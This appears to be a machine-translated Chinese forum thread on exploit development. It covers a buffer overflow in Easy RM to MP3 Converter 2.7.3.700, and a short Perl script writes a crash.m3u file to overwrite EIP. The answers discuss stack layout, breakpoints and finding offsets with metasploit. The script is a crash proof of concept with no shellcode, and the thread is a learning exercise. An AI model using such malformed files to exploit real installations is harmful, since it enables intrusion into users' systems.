2012-03-22 85 views
0

有時回來,對易RM上的漏洞到MP3播放器2.7.3.700在Windows XP SP3(http://www.exploit-db.com/exploits/9177/)工作時,我看到這我不理解一個概念來了,它是這樣的:的Shellcode發展,ESP指針

用於生成惡意文件perl腳本:生成所述惡意文件後

my $junk = "\x41" x 25000; 
my $offset = "\x42" x 1072; 
my $eip = "\x43" x 4; 
my $file = "crash.m3u"; 
open ($file,">$file"); 
print $file $junk.$offset.$eip.$adjustment; 
close ($file); 

,餵它在轉換器和他們分析棧的內容在[ESP + 18](尋址相對於ESP)...爲什麼這些A在這裏?

我的意思是:

A的從[ESP-88E8]開始到[ESP-43C]
B的從開始[ESP-438]至[ESP-C]
C'S在[ESP-8]

那麼爲什麼這些A再次在[ESP + 18]到[ESP + 418]?爲什麼當他們已經從[ESP-88E8]到[ESP-43C]之間放置時,這些A在[ESP + 18]到[ESP + 418]重複。

謝謝。

回答

0

所以要回答你的問題,你必須在Easy RM to MP3 Converter上做更多的調試,嘗試設置一些早期的斷點。我懷疑溢出不會立即發生,並且在寫入靜態緩衝區之前可能會被複制幾次。 :)

2

那些用於填充緩衝區垃圾和其餘1700 +字節生成使用metasploit獲取EIP被覆蓋時的地址。因此,您需要確定導致緩衝區溢出需要多少字節,因爲它們的操作系統與操作系統等不同。

可選:所以,這樣做,你將在需要的地方設置斷點,並獲得EIP地址